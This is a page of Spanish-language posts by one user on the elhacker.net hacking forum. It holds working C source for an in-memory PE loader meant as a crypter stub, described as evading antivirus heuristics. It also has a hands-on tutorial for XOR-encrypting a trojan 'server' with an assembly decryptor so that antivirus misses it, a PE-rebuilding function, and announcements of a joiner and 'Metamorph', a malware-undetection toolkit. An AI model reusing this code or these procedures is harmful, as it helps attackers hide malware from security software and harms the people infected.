elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Temas
Páginas: 1 [2] 3
11  Seguridad Informática / Análisis y Diseño de Malware / Ejecución de Archivos desde Memoria [Base Relocation] en: 18 Agosto 2009, 19:32 pm
Ejecución de Archivos desde Memoria - Base Relocation

Bueno, hago éste texto para explicar un poco en que consiste el método y a la vez para que no haya gente que se limite a copiar el código sin más. Todo lo que voy a decir está basado en lo siguiente, el cual será necesario leer antes de éste texto para comprender bien el código.

Código:
http://www.joachim-bauch.de/tutorials/load_dll_memory.html

A la vez, para comprender todo lo que diré, será necesario tener conocimientos sobre el formato PE, y el único texto que encontré que habla un poco de la Base Relocation es el de microsoft:

Código:
http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff_v8.docx


El Problema

Vale, imaginémonos que estamos programando un crypter. El stub del crypter, al ser ejecutado, descifra el archivo en memoria, y llegamos al momento, en que tenemos el archivo que habíamos cifrado, descifrado y mapeado en memoria, pero no podemos ejecutarlo, puesto no está cargado en su ImageBase, y por lo tanto, todas las instrucciones relativas al ImageBase saltarán a un punto que vete tu a saber que hay. Entre éstas instrucciónes, están las llamadas a las API's (llamadas a punteros de la IAT), y al haberse mapeado y no cargado, la IAT no se cargó con las direcciones de las API's, otro problema  :-\.

El Loader de Windows

Para entender lo que vamos a hacer, vamos a ver antes que es lo que hace windows para ejecutar un archivo cuando nosotros se lo indicamos:
  • Lee el archivo y busca la cabecera DOS, la cabecera PE y las cabeceras de las secciones.
  • Intenta reservar espacio en memoria en la dirección del ImageBase, y si ya está en uso, la reserva en otra dirección. La cantidad de memoria que reserva está marcado por el SizeOfImage.
  • Mapea las distintas secciones de acuerdo con su VirtualOffset y VirtualSize y los Flags.
  • Si el archivo no está cargado en su ImageBase, hace una reubicación de la base del ejecutable.
  • Recorre la Import Table y carga las librerías que importa en ejecutable.
  • Rellena la IAT con las direcciones de las funciones que importa.
  • Crea el hilo inicial de ejecución y lanza el proceso.

La Solución

Si emulamos el Loader de Windows a base de código, podemos arrancar el ejecutable desde memoria sin necesidad de guardarlo en disco y ejecutarlo o tener que crear otro proceso para tener el ImageBase origianal libre.

Aquí pongo el código que hice, y subo el proyecto. El archivo lleva en el resource un ejecutable que emite un messagebox. Al arrancar el archivo, la sección de resource se mapea en memoria con todo el ejecutable, y emulando el loader de windows, carga el archivo reubicando la ImageBase y pasandole la ejecución a éste  ;-). Comenté mucho el código para que no haya problemas de comprensión, pero es necesario tener muy claro el formato PE  :P.

Código
  1. //-------------------------------------------------------------------------------------------
  2. // PoC - [Base Relocation]
  3. //
  4. //Descripción: Ejecuta un archivo mapeado en memoria sin guardarlo en disco
  5. //Autor: Hacker_Zero
  6. //Fecha: 18-8-2009
  7. //Basado en: http://www.joachim-bauch.de/tutorials/load_dll_memory.html
  8. //-------------------------------------------------------------------------------------------
  9.  
  10. #pragma optimize("gsy", on)
  11. #pragma comment(linker, "/ENTRY:main")
  12.  
  13. #include <windows.h>
  14. #include "resource.h"
  15.  
  16. void main()
  17. {
  18. //Cargamos ejecutable del resource
  19. HRSRC hResource=FindResourceA(NULL,(LPCSTR)MAKEINTRESOURCE(IDR_EXE1),"EXE");
  20. HGLOBAL hGlob=LoadResource(NULL,hResource);
  21. DWORD FileSize=SizeofResource(NULL,hResource);
  22. LPSTR lpFileMaped=(LPSTR)LockResource(hGlob);
  23.  
  24. PIMAGE_DOS_HEADER IDH;
  25. PIMAGE_NT_HEADERS INTH;
  26. PIMAGE_SECTION_HEADER ISH;
  27.  
  28. //Obtenemos la cabecera DOS y PE en las estructuras
  29. IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
  30. INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];
  31.  
  32. //Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable
  33. LPSTR ExeBuffer=(LPSTR)VirtualAlloc(NULL,INTH->OptionalHeader.SizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
  34. //LPSTR ExeBuffer=(LPSTR)GlobalAlloc(GPTR,INTH->OptionalHeader.SizeOfImage);
  35.  
  36. //Copiamos la cabecera DOS y PE al buffer
  37. CopyMemory(&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders);
  38.  
  39. //Copiamos las secciones en su VirtualOffset en el buffer
  40. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  41. {
  42. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  43. CopyMemory(&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData);
  44. }
  45.  
  46. //Calculamos el delta entre la dirección del buffer y el ImageBase
  47. DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase);
  48.  
  49. //------------------------------------------------------------
  50. /* -Reubicamos la dirección base del ejecutable :D- */
  51. //------------------------------------------------------------
  52.  
  53. //Si no hay tabla de reubicación, salimos
  54. if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size==0)
  55. {
  56. MessageBoxA(0,"No se ha encontrado Tabla de Reubicaciones\nImposible cargar el archivo",0,0);
  57. ExitProcess(0);
  58. }
  59.  
  60. //Obteemos el Image Base Relocation
  61. PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
  62.  
  63. //Vamos recorriendo todas las etradas del bloque
  64. for (;IBR->VirtualAddress>0; )
  65. {
  66. //Obtenemos el Bloque de reubicación
  67. LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress);
  68.  
  69. //Obtenemos la primera entrada del bloque
  70. LPWORD RelocationEntry=(LPWORD)((LPSTR)IBR+sizeof(IMAGE_BASE_RELOCATION));
  71.  
  72. //Recorremos todas las entradas del bloque
  73. for (DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++)
  74. {
  75. //Obtenemos los 4 bits que definen el tipo de reubicación
  76. DWORD type=*RelocationEntry>>12;
  77.  
  78. //Obtenemos los 12 bits que definen la dirección de la reubicación
  79. DWORD offset=*RelocationEntry&0xfff;
  80.  
  81. //Si el tipo de reubicación es relativo a la dirección base, añadimso el delta
  82. switch (type)
  83. {
  84. case IMAGE_REL_BASED_HIGHLOW:
  85. //Añadimos a la dirección que depende del imagebase original
  86. //el delta entre el imagebase y nuestra dirección base
  87. LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset);
  88. *newAddr=Delta+(DWORD)*newAddr;
  89. break;
  90. }
  91. }
  92. //Vamos al siguiente bloque
  93. IBR = (PIMAGE_BASE_RELOCATION)(((DWORD)IBR) + IBR->SizeOfBlock);
  94. }
  95.  
  96.  
  97. //---------------------------------------------------------------------
  98. /* -Cargamos los valores de la IAT para poder llamar a las apis- */
  99. //---------------------------------------------------------------------
  100.  
  101. PIMAGE_THUNK_DATA ITD;
  102. PIMAGE_IMPORT_BY_NAME IIBN;
  103.  
  104. //Comprobamos si hay Import Data Descriptor
  105. if (INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0)
  106. {
  107. //Si lo hay lo obtenemos en la estructura
  108. PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
  109.  
  110. //Vamos recorriendo todas las Dll's importadas por el ejecutable
  111. for (;IID->Name;IID++)
  112. {
  113. //Cargamos la dll
  114. HMODULE hLib=LoadLibraryA((LPCSTR)(ExeBuffer+IID->Name));
  115.  
  116. //Obtenemos la dirección al primer miembro del array Image Thunk Data's
  117. ITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk);
  118.  
  119. //Vamos recorriendo las funciones importadas
  120. for (;ITD->u1.Ordinal;ITD++)
  121. {
  122. //Cargamos el Image Import By Name para obtener el nombre
  123. IIBN=(PIMAGE_IMPORT_BY_NAME)(ExeBuffer+ITD->u1.Function);
  124. //Obtenemos la dirección de la función y la guardamos en la IAT
  125. ITD->u1.Function=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name);
  126. }
  127. }
  128. }
  129.  
  130. //Obteemos el EntryPoint de ejecutable que cargamos en el buffer
  131. DWORD EntryPoint=((DWORD)ExeBuffer)+INTH->OptionalHeader.AddressOfEntryPoint;
  132.  
  133. //Llamamos al EntryPoint
  134. __asm
  135. {
  136. mov eax,EntryPoint
  137. call eax
  138. }
  139.  
  140. ExitProcess(0);
  141. }
  142.  


# Cabe destacar que para que el archivo pueda ser ejecutado en un ImageBase distinto al original, es necesario que el archivo tenga tabla de reubicación, el VC++ 2008 la pone en los ejecutables por defecto, y en Fasm se puede añadir con la siguiente línea:

Código:
section '.reloc' fixups data discardable 

En VB no se si se pude poner, al menos no lo hace por defecto  :P.



# Los antivirus suelen Hookear las API's de manejo de memoria en un proceso remoto, por eso, la mayoría de crypters que usan API's como WriteProcessMemory o CreateRemoteThread son detectados por las heurísticas. Con éste método se evita tener que llamar a esas API's, por lo que (no lo probé) debería de poder saltarse las heurísticas  ;-).



# Pronto actualizaré el post con un código que solucionará el problema de que el archivo deba tener tabla de reubicaciones  ;D.


Descargar proyecto de ejemplo





Ejecutar archivos sin Relocation Table

Bueno, pues terminé el código que ejecuta archivos desde memoria aunque éstos no tengan Relocation Table. Tiene un pequeño fallo, y es que con ejecutables en VB crashea debido a que hay algo raro en el import table, no sé muy bien aún a que se debe pero se puede solucionar.

Lo que hace el código es ejecutar un Loader que tiene Relocation Table desde una posición de memoria diferente a su ImageBase. El loader ejecuta el archivo que queremos inyectar desde memoria librerando memoria en el ImageBase original (00400000, desde donde habíamos llamado al loader) y carga ahí el ejecutable, por lo que no es necesario reubicar la ImageBase y funciona  ;D.


Descargar Código Fuente

Saludos


12  Seguridad Informática / Análisis y Diseño de Malware / [Taller] Así funcionan los crypters: cifrando malware a mano en: 30 Julio 2009, 19:42 pm
Taller: cifrando Malware a Mano



Objetivos de éste taller

Debido a la avalancha de crypters que últiamente salen a la luz y que, en mi opinión, el 90% de ellos (principalmente en VB) se hacen utilizando código de terceros sin entender realmente que es lo que programan, decidí hacer éste taller para mostrar el modo de funcionamiento de un crypter, de modo que cualquier persona con interés sea capaz a entenderlo. Al finalizar el talller seremos capaces de entender que es lo que hacen los crypters para burlar a los antivirus, y seremos capaces de hacer éste proceso de forma manual, así como, de tener conocimientos de programación y a partir de éste taller, tendremos los conocimientos necesarios para programar un crypter sabiendo que queremos conseguir realmente.




Herramientas Necesarias



¿Qué vamos a cifrar?

Bueno, lo primero que haremos será abrir el server del PI con un el Editor Hexadecimal y el Editor del PE:


Vemos que el ejecutable tiene 2 secciones, la .text y la .data. En éste caso vamos a cifrar solamente la sección .text que es la que contiene el código ejecutable. La .data la vamos a dejar tal y como está, porque si nos vamos al editor hexadecimal y nos vamos a 0x1A00 y miramos lo que hay más abajo, vemos que ahí se encuentra la IAT, y cifrar eso nos complicaría bastante las cosas, tal vez para otra entrega, en ésta vamos a dejar esa sección tal y como está  :P:


Entonces, lo que vamos a cifrar es lo que va desde 0x200 a 0x1A00 viendolo con el editor hexadecimal.

¿Cómo lo vamos a cifrar?

Lo haremos de una forma sencilla. Encriptaremos el archivo en disco y añadiremos un poco de código en un espacio libre, y que haremos que sea el primero en ejecutarse, de modo que cuando el archivo se cargue en memoria, éste código se encargue de descifrar lo que habíamos cifrado de la sección .text y luego salte a donde el programa comenzaba originalmente. Éste código lo vamos a poner al final de la sección ejecutable, debido a que suele haber espacio libre ahí debido al alineamiento de las secciones.

   
Ejecutable original y ejecutable cifrado respectivamente

Preparando la sección .text

Vamos a buscar el espacio libre al final de la sección ejecutable y lo vamos a rellenar de NOP's usando el Editor Hexadecimal. Luego tambien vamos a cambiar los Flags del apartado Characteristics utilizando el LordPE.

Para buscar el espacio libre, nos vamos al LordPE y vemos que la sección .text emipeza en 0x200 (ROffset=0x200) y ocupa 0x1800. 0x200 y 0x1800 son 0x1A00, cojemos el HxD y nos vamos a esa dirección, es justo el comienzo de la sección .data y el final de la .text. Vemos que para arriba tenemos 0x00's, ése va a ser nuestro hueco, seleccionamos los 0's (dejando unos bytes de margen por si las moscas), y lo rellenamos de Nop's (NOP=0x90):


Y listo, ya sabemos donde podeomos poner nuestro código desencriptador, a partir de 0x1890 para adelante (anotamos en algún sitio ese valor), ahora otro punto. Para descifrar la sección .text vamos a necesitar que ésta tenga permisos de lectura y escritura (de ejecución ya tiene puesto que es la sección de código), así que abrimos el server con el LordPE, nos vamos a Sections, seleccionamos la sección .text, click derecho->Edti Section Header, damos click en el botón situado en el apartado flags y marcamos la opción "Writeable" ("Readable" ya está), damos "OK" y guardamos todos los cambios.



Insertando la rutina encriptadora/desencriptadora

Bueno, el siguiente código en ASM desencrypta/cifra un array de bytes usando un Xor:

Código:
;---------------------------------------------------------------
;Taller Encriptacion Malware a Mano: Código Desencriptación
;---------------------------------------------------------------
;Movemos a eax la dirección de inicio del código cifrado
mov eax,402000h
;Movemos a ebx la dirección de fin del código cifrado
mov ebx,403000h
;Movemos a ecx la dir del Entry Point Original
mov ecx,401038h
xor byte ptr ds:[eax],0FFh ;Hacemos el xor al byte con la clave 0FF (se puede cambiar por otro byte)
inc eax                    ;Nos desplazamos al siguiente byte
cmp eax,ebx                ;Comprobamos si es el último
jne 401234h                ;Si no lo es, continuamos con el siguiente
ret                        ;Salimos del programa (cambiar ret por nop despues de cifrar)
jmp ecx                    ;Si lo es, saltamos el Entry Point Original

Eso es lo que tenemos que instar en el espacio libre que habíamos encontrado (con unas pequeñas modificaciones). Para eso, vamos al OllyDbg y abrimos el server. Una vez cargado el archivo, damos click derecho, View->Executable File.


Ahora nos vamos a la dirección (CTRL+G) dónde hemos empezado a poner los Nop's, 0x1890 (el valor que dije que recordarais). Luego damos click derecho sobre el primer Nop y sellecionamos View Image in Disassembler, así nos situará en donde se cargaron lso Nop's en memoria.


Ahí vamos a poner nuestro código, vamos dando doble click en los Nops y vamos introduciendo el código aterior línea a lína hasta que nos quede así:


Pero ahí hay que arraglar cosas, las direcciones 0x401000, 0x402000, 0x401038 y 0x4001234 no son correctas para éste ejecutable (y 99.999% seguro que para ningun otro que encontremos  ;D), así que hay que cambiarlas por sus valores correctos.

Vamos por la primera, el 402000, ésta es la dirección VIRTUAL donde de donde queremos que empiece a cifrar/descifrar, en nuestro caso, queremos que empiece a cifrar/des en el inicio de la primera sección, que viendo como el editor hexadecimal era 0x200, pero NO, esa es la dirección FÍSICA, al cargarse en memoria esa dirección cambia por algo de la forma 40XXXX (corrientemente). Vale, y como la obtenemos? Pues abrimos el LordPE, cargamos el ejecutable, y le damos para ver las secciones:


Ahora ésto es una regla general para todos los casos, para obtener una dirección VIRTUAL a partir de la FÍSICA de una sección hacemos: (DIR FÍSICA-ROFFSET)+VOffset+ImageBase:
    (0x200-0x200)+0x1000+0x400000=401000.

Ésa es la dirección que tenemos que poner en el primer valor. Vamos con el segundo, el 403000, ése es el valor VIRTUAL donde termina el código que queremos cifrar. En éste caso, el código que queremos cifrar termina donde empezamos a poner los nops, en 0x1890 DIRECCIÓN FÍSICA, así que hacemos (DIR FÍSICA-ROFFSET)+VOffset+ImageBase:
     (0x1890-0x200)+0x1000+0x400000=0x402690 (Utilizad la calculadora de windows en modo hex  :P).

Ése es el valor que tenemos que poner en el 2º valor, vamos con el 3º, el 401028, éste es más fácil, ahí hay que poner el AddressOfEntryPoint en memoria del ejecutable, para saberlo abrimos el ejecutable con el LordPE:



Cogemos ese valor, se sumamos el ImageBase (0x400000+0x2104) y nos da 402104, ese es nuestro 3º valor, el punto a donde debemos de saltar luego de descifrar los datos.

Venga, 4º y último valor que tenemos que cambiar, el 401234, éste también es fácil, la dirección a la que tiene que saltar el bucle si no llegamos al final. Volvemos al olly, donde habíamos introducido la rutina en ASM, y el valor que tenemos que introducir es la dirección donde pusimos el xor byte ptr ds:[eax],0FFh, en éste caso 0x40269F:


Y listo, nuestro código encriptador/desencriptador ya funcionaría, tal cual lo copiamos se encargaría de cifrar la sección .text. Debería de quedar así:


Así que en el olly damos click derecho "Copy to Executable/All modifications" y guardamos el archivo en disco (click drcho, backuup->save data to file).

Ahora tenemos que cambiar el Entry Point por la dirección donde empieza nuestro código en memoria: 2690 (Sin el imagebase):


Listo, ahora la rutina encriptadora/desencriptadora será lo primero que se ejecute al iniciar el archivo.


cifrando, descifrando

Ahora que ya tenemos la rutina encriptadora/desencriptadora en su sitio, vamos a usarla para que nos encripte lo la sección .text, para ésto abrirmos nuevamente el server con el Olly, y ponemos un breakpoint en el ret del código de la rutina desencriptadora. Una vez hecho ésto, pulsamos F9 y el programa empezará a ejecutarse hasta que parará en el ret. En éste momento ya tenemos el código cifrado, pero en memoria, así que vamos a copiarlo al portapapeles. Seleccionamos con el ratón desde 0x401000 hasta 0x401890 (no incluído)(el trozo que ciframos) y hacemos click derecho/bianry/binary copy:


Ahora cerramos el olly, y abrimos el archivo nuevamente con el HxD (mientras haces ésto no copies ni pegues nada que te cargas lo que hay en el portapapeles  :P). Una vez abierto seleccionamos los bytes desde 0x200 hasta 0x1890 (no incluído) y hacemos click derecho/pegar escribiendo y guardamos los cambios.

Ahora ya tenemos el código cifrado en disco, entonces ahora lo que tiene que hacer la rutina encriptadora/desencriptadora es descifrar el código y luego saltar al Entry Point Original, para ésto solo tenemos que cambiar el ret del código por un Nop con Olly:


Guardamos los cambios en disco y LISTO!! ya tenemso nuestro server cifrado con "nuestro crypter manual  ;D":


Despedida
Bueno, pues espero que hayáis aprendido algo de mis palabras y del método, sobre todos los que no sabían lo que hacer un crypter, y los que sabían, pues seguro algo aprendieron tambien  ;).

Que lo disfrutéis! Y ya sabéis, cualquier duda  ;).

Subo también el server modificado después de todo el proceso para que os ayude a encontrar posibles fallos que tengáis  :P.  Descargar

Saludos

PD: Algo que se me olvidó mecionar, utilizando éste método no es necesario inyectar nada en ningún proceso, por lo nos evitamos problemas con heurísticas, y aumentamos 0byes el peso del archivo  :laugh:.

Edito: Al final el server no quedó FUD, era que no subí lo que era, y es lo más normal ya que con un simple Xor no se pueden quitar todo así como así  :xD. De todas formas eso no importa demasiado, en ésta caso hay espacio de sobra para poner una cifrado mas difícil etc...  ;D.
13  Seguridad Informática / Análisis y Diseño de Malware / [SRC][C] RebuildPE en: 28 Julio 2009, 20:49 pm
Bueno, pues yo aquí otra vez con una función  :xD. Ésta función cambia bastantes cosas en el PE, cambia las secciones de orden (en lo que es en el archivo, en la cabecera no ya que de poco serviría), mete el EOF Data dentro de la última sección y actualiza el CheckSum (me aburría  :P). Tambien tenía casi terminado para que cambiara el Align del archivo, pero se me extendía demasiado el código, si necesito terminarla lo posteo en una función aparte.

La parte de reordenar las secciones se puede hacer de una forma más rápida y con menos código (Cambiando sólo el PointerToRawData), pero como eso se me ocurrió despues de terminar..

Código
  1. LPSTR RebuildPE(LPSTR FileName,LPSTR lpFileMaped,DWORD FileSize)
  2. {
  3. PIMAGE_DOS_HEADER IDH;
  4. PIMAGE_NT_HEADERS INTH;
  5. PIMAGE_SECTION_HEADER ISH;
  6.  
  7. IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
  8. INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];
  9.  
  10. //Creamos un buffer y guardamos una copia del archivo mapeado
  11. LPSTR Temp=(LPSTR)GlobalAlloc(GPTR,FileSize);
  12. CopyMemory(&Temp[0],&lpFileMaped[0],FileSize);
  13.  
  14. //Cambiamos las secciones en el archivo de orden (no en la cabecera)
  15. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  16. {
  17. PIMAGE_DOS_HEADER tIDH;
  18. PIMAGE_NT_HEADERS tINTH;
  19. PIMAGE_SECTION_HEADER tISH;
  20. PIMAGE_SECTION_HEADER tISH2;
  21. PIMAGE_SECTION_HEADER ISH2;
  22.  
  23. tIDH=(PIMAGE_DOS_HEADER)&Temp[0];
  24. tINTH=(PIMAGE_NT_HEADERS)&Temp[tIDH->e_lfanew];
  25.  
  26. tISH=(PIMAGE_SECTION_HEADER)&Temp[tIDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i+1)];
  27. ISH2=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i+1)];
  28. tISH2=(PIMAGE_SECTION_HEADER)&Temp[tIDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  29. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  30.  
  31.  
  32. if(i!=INTH->FileHeader.NumberOfSections-1)
  33. {
  34. CopyMemory(&lpFileMaped[ISH->PointerToRawData],&Temp[tISH->PointerToRawData],tISH->SizeOfRawData);
  35. ISH->SizeOfRawData=tISH->SizeOfRawData;
  36. ISH->Characteristics=tISH->Characteristics;
  37. ISH->VirtualAddress=tISH->VirtualAddress;
  38. CopyMemory(&ISH->Name,&tISH->Name,8);
  39.  
  40. ISH2->PointerToRawData=ISH->PointerToRawData+tISH->SizeOfRawData;
  41. }
  42. else
  43. {
  44. tISH=(PIMAGE_SECTION_HEADER)&Temp[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)];
  45. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  46. CopyMemory(&lpFileMaped[ISH->PointerToRawData],&Temp[tISH->PointerToRawData],tISH->SizeOfRawData);
  47. ISH->SizeOfRawData=tISH->SizeOfRawData;
  48. ISH->Characteristics=tISH->Characteristics;
  49. ISH->VirtualAddress=tISH->VirtualAddress;
  50. CopyMemory(&ISH->Name,&tISH->Name,8);
  51. }
  52. }
  53.  
  54. LPSTR SecTmp=(LPSTR)GlobalAlloc(GPTR,0x28*INTH->FileHeader.NumberOfSections);
  55. CopyMemory(&SecTmp[0],&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)],0x28*INTH->FileHeader.NumberOfSections);
  56.  
  57. //Reordenamos las secciones en la cabecera
  58. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  59. {
  60. if(i==0)
  61. {
  62. CopyMemory(&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)],&SecTmp[0x28*(INTH->FileHeader.NumberOfSections-1)],0x28);
  63. }
  64. else
  65. {
  66. CopyMemory(&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i],&SecTmp[0x28*(i-1)],0x28);
  67. }
  68. }
  69.  
  70. GlobalFree(Temp);
  71.  
  72. //Obtenemos el PointerToRawData más alto y el tamaño total de todas las secciones
  73. DWORD MaxPointerToRawData=0;
  74. DWORD TotalSectionsSize=0;
  75. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  76. {
  77. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  78.  
  79. if(MaxPointerToRawData<ISH->PointerToRawData)
  80. {
  81. MaxPointerToRawData=ISH->PointerToRawData;
  82. }
  83. TotalSectionsSize=TotalSectionsSize+(DWORD)(ISH->SizeOfRawData);
  84. }
  85.  
  86. //Obtenemos la sección con el PointerToRawData más alto
  87. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  88. {
  89. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  90. //Si es la sección que contiene el PointerToRawData más alto salimos del bucle
  91. if(ISH->PointerToRawData==MaxPointerToRawData)
  92. {
  93. i=INTH->FileHeader.NumberOfSections;
  94. }
  95. }
  96.  
  97. //Si hay EOF Data
  98. if(ISH->PointerToRawData+ISH->SizeOfRawData<FileSize)
  99. {
  100. //Metemos el EOF Data dentro de la última sección
  101. ISH->SizeOfRawData=ISH->SizeOfRawData+(FileSize-(ISH->PointerToRawData+ISH->SizeOfRawData));
  102. }
  103.  
  104. //Obtenemos el SizeOfImage y ajustamos el VirtualSize de las secciones
  105. DWORD SizeOfImage=0;
  106. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  107. {
  108. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  109. ISH->Misc.VirtualSize=ISH->SizeOfRawData;
  110. if(SizeOfImage<ISH->VirtualAddress)
  111. {
  112. SizeOfImage=ISH->VirtualAddress+ISH->Misc.VirtualSize;
  113. }
  114. }
  115.  
  116. //Ajustamos el SizeOfImage
  117. INTH->OptionalHeader.SizeOfImage=SizeOfImage;
  118.  
  119. //Recalculamos el CheckSum
  120. _MapFileAndCheckSum miMapFileAndCheckSum=NULL;
  121. HMODULE hLib=LoadLibraryA("IMAGEHLP.DLL");
  122. miMapFileAndCheckSum=(_MapFileAndCheckSum)GetProcAddress(hLib,"MapFileAndCheckSumA");
  123.  
  124. DWORD OrignalCheckSum=0;
  125. DWORD newCheckSum=0;
  126. miMapFileAndCheckSum((PTSTR)FileName,&OrignalCheckSum,&newCheckSum);
  127.  
  128. INTH->OptionalHeader.CheckSum=newCheckSum;
  129.  
  130. return lpFileMaped;
  131. }

Como las secciones no están ordenadas por el PointerToRawData en la cabecera, algunos visores del PE (Pe explorer por ejemplo) dice que tiene EOF data, pero no la tiene  ;D.



Saludos

PD: Gracias a Karcrack y Arkangel por escuchar mis lamentos  ;D.
14  Foros Generales / Sugerencias y dudas sobre el Foro / Error en el sitemap en: 12 Julio 2009, 23:37 pm
Pues eso, al parecer el sitemap del foro no funciona correctamente, seguramente es debido al seo4smf que no da soporte para las actualizaciones de smf y tampoco lo hace para la 2.0 de momento   :¬¬ .

Saludos  ;)
15  Seguridad Informática / Abril negro / Little Joiner 1.0 (Open Source) en: 10 Mayo 2009, 13:05 pm
Little Joiner

Bueno, pare descansar un poco de programar el Virus Metamorph me puse a programar éste joiner.

¿Qué es?

Es un Joiner programado en C capaz de unir infinitos archivos, lo de siempre  :xD.

Captura


Características
-Tamaño del stu reducido, 1.7kb.

-Comprime los archivos a juntar. Ésto quiere decir que si juntamos un archivo de 20kb con uno de 10kb más el stub de 1.7kb el tamaño del ejecutable final rondará los 10kb (Depende del tipo de archivo) Gracias a Karcrack por hablarme de éstas apis que no conocía  ;)

-Dos stubs, uno que soporta icono y otro que no

-El stub sin icono realinea el pe para dejar el EOF dentro de la sección.

-Permite cambiar el icono


Cosas que se pueden mejorar

-Se puede añadir cifrado, no lo hice porque el comprimir ya se ofusca bastante, pero puede ser algo a añadir.

-El stub con icono no permite dejar los archivos dentro de la sección sinó que se quedan en el EOF. Ésto se debe a que no sé con antelación cuanto va a ocupar el archivo ya que dependerá del icono que se le añada, se podría corregir añadiendo una sección para albergar los archivos a juntar.

-Seguro tiene algunos fallos debido a que apenas lo testeé y ya estoy cansado de joiner  :xD.

Descargar Aplicación

Descargar Source

Saludos

PD: La función para cambiar el icono no es mía, pertenece a Tughack.
16  Programación / Programación Visual Basic / [SRC] VB MultiThread *.ctl en: 7 Mayo 2009, 20:49 pm
Bueno, haciendo limpieza en mi pc me encontré éste user control para vb bastante útil, permite el multithreading y además de una forma muy sencilla. Además viene con un ejemplo por las dudas.

Descargar User Control

Saludos
17  Seguridad Informática / Abril negro / Proyecto Metamorph en: 24 Abril 2009, 23:31 pm
Metamorph


Autores:



-Arkangel
-Karcrack
-Hacker_Zero

Bueno lo prometido es deuda, dije que os mantendría informados sobre el desarrollo de éste proyecto y lo haré en éste post. Iré actualizando éste post según vayamos progresando en el desarrollo del proyecto, y así también se le dará la oportunidad a cualquiera de aportar sus ideas.

Próxima Versión:

La próxima versión será la v2.0. Con ésta versión el proyecto da un vuelco para dejar de ser una herramienta y convertirse en un entorno para la indetectabilización de malware, contanto con numerosas herramientas como un disassembler, editor hexadecimal, editor de recursos, buscador de firmas, etc.

Otra importante novedad es que en ésta versión utilizaremos las librerías Qt para el desarrollo de la GUI, lo que nos adelanta bastante trabajo y la la vez da unos resultados muy buenos.

Algunas de las nuevas características que tendrá la nueva versión son por ejemplo, que cuenta con un disassembler, lo que le permite al programa modificar el ejecutable a su antojo sin correr el riesgo de modificar opcodes que sin saber a qué pertenecen. Otra característica importante y que esperamos que dé buenos resultados es la opción de hacer un rebuild a la IAT, tanto sobreescribiendo la IAT original, como moviendola a otro sitio como cambiar la IAT por otra que sólo importe LoadLibraryA y GetProcAddress y encripte las otras apis y se encargue de cargarlas en tiempo de ejecución  :).


Desarrollo próxima versión: 20%




Versión 2.0 20%

Capturas:







Desarrollo

-GUI 90%
-Dll Debuger 70%
-Disassembler 60%
-Rebuild IAT 50%
-Buscador de Firmas 40%
-Editor Resource 10%
